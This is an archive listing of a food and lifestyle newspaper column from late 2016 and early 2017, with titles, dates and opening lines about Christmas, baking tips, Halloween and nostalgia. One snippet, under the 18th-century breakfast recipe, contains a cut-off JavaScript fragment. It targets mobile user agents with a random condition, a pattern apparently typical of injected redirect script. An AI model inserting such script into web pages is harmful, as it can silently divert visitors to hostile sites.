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January Blues? Cheer up!

Jan 7, 2017 / 6:00 am

Photo: Contributed So now here we are, with the New Year rung in and the resolutions made – now what? It seems we always start the new year with a combination of energy and guilt. We get all fired up to start new things, improve our performance, be more healthy and positive&helli

Auld Lang Syne

Dec 31, 2016 / 11:00 am

Photo: Contributed Here we are, at the end of another year. Now that all the hustle and bustle of Christmas is done, it’s time to focus on winding up the year in style. There is reminiscing to do and the setting of new goals. When it comes down to actually ringing in the New Year

God bless us every one

Dec 24, 2016 / 6:00 am

Photo: Contributed Christmas is my favourite time of year, and Christmas dinner epitomizes the festive season: the food and drink and best of all, the company. Just think - at what other time of year can you argue about: whether the dressing should be traditional or adventurous

Nuts at Christmas

Dec 17, 2016 / 6:00 am

Photo: Contributed The big day looms ever closer, and everyone is running at mach speed trying to check everything off the list and be sure they are ready to fulfill all their holiday obligations. Fight the traffic to get to the mall wait in line to buy the gifts, stay up t

18th century breakfast

Dec 17, 2016 / 12:01 am

A simple, delicious recipe from The Art Of Cookery by Hannah Glasse (1708-1770). if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Top 10 cookie-making tips

Dec 10, 2016 / 6:00 am

Photo: Contributed In an effort to reduce the stress of your holiday season, I thought I would keep it simple this week. I'm offering advice to help increase your chances of success when baking. You might not need to bake numerous dozens for a cookie exchange, but I would b

Tasting old memories

Dec 3, 2016 / 6:00 am

Photo: Contributed With the snow on the ground, it really feels like Christmas is coming, so I peeked at old food magazines to see what might inspire me for a column.  Nothing fuels the festive spirit like visions of homemade cookies.   As I looked through the mo

You can make a difference

Nov 29, 2016 / 3:00 pm

  Photo: Contributed Well, the holiday season is upon us.  With the passing of American Thanksgiving, we are officially in the thick of it — decorations and music everywhere you go, treats tempting you at every turn, and reasons offered on all media for spending

The night jingle music died

Nov 19, 2016 / 4:00 pm

Photo: Contributed When I was a kid, eating was different. Food was sometimes fun, and other times, it had a certain reverence. More things were exotic, because the world wasn't as small as it is now; you couldn't get everything everywhere all the time. The biggest diff

Let them eat cake

Nov 12, 2016 / 6:00 am

Photo: Contributed My birthday is this week, and it made me think about the traditions we have surrounding the day. I looked into the range of traditions around the world. It seems logical to celebrate another year of existence, but I had no idea there were so many ways to do it. 

Pleasure principle gone wild

Nov 5, 2016 / 6:00 am

Photo: Contributed I have always admired opulence. I never wanted to have it on a constant basis, but the possibility of it was always exciting. Even as a teenager in a world before the Internet, I would enjoy worldly pleasures such as those found in the Neiman Marcus Christmas catalog

Another 50 Shades of Grey

Oct 29, 2016 / 3:00 pm

Photo: Contributed The other 50 shades of grey That got your attention, didn't it? But this is a family column, so I'm not going to get all kinky. I just wanted to talk about the striking beauty of late fall, and the way the colours of nature can transform a day. One moment

KGH makes scary decision

Oct 22, 2016 / 6:00 am

Photo: Contributed I’ve written every year about Halloween, what with it being a day that involves some unique foods, and a celebration – right up my alley. All of it has been done in the spirit of fun, as Halloween is meant to be interpreted in our part of the world. It&rs

Stocking up for winter

Oct 15, 2016 / 6:00 am

Photo: Contributed Now that the weather has turned colder and greyer, I think we need to cheer things up inside. What better way to do that than preparing some homespun goodies? I’m going to supply you with a few fun recipes for food you can pull out later to bring back some

Fairy-tale season

Oct 8, 2016 / 6:00 am

Photo: Contributed Autumn must be the season when fairy tales take place, as there is something other-worldly about the light and the smell in the air at this time of year. I'm an ardent fan of summer and its comfortable heat, and I also enjoy the clean, majestic look of a winter l

Do you fancy farm-to-fork?

Oct 1, 2016 / 6:00 am

Photo: Contributed As the harvest comes in, events celebrating the bounty are in abundance. We have had the pleasure of attending stellar events in the past, and this year was no exception. Before the Fall Wine Fest started, we were treated to a beautiful wine paired dinner featurin

Fave thingamajigs

Sep 24, 2016 / 8:00 pm

Photo: Contributed My favourite thingamajigs and doohickeys Every hobby has its tools. Sports all have equipment of some sort, musicians have instruments, gardeners have trowels, and so on. There are also all the gizmos and gadgets that you can add to your repertoire. Some are just

Know thy food

Sep 10, 2016 / 3:00 pm

Photo: Contributed You might think I am espousing the idea of introducing yourself to the vegetables in the supermarket (“How do you do, Mr. Potato Head, my name is Kristin”). I'm not crazy. I will introduce you to someone who is doing the same thing, mostly for kids. A

A bite of nostalgia

Sep 3, 2016 / 3:00 pm

I Photo: Contributed Isn't it funny how the taste of something can transport you back in time to a particular place, a definite memory? Just like a song can make you remember a time In your life, a taste can pinpoint an experience, too. Once in a while, it's not a good

An appetite for life

Aug 27, 2016 / 6:00 am

Photo: Contributed My best friend has an insatiable appetite; she loves to eat. She is never afraid of not looking good or not fitting into her clothes. She exercises regularly and most of what she eats is healthy, organic food.  I am inspired by her every day. Her gusto f
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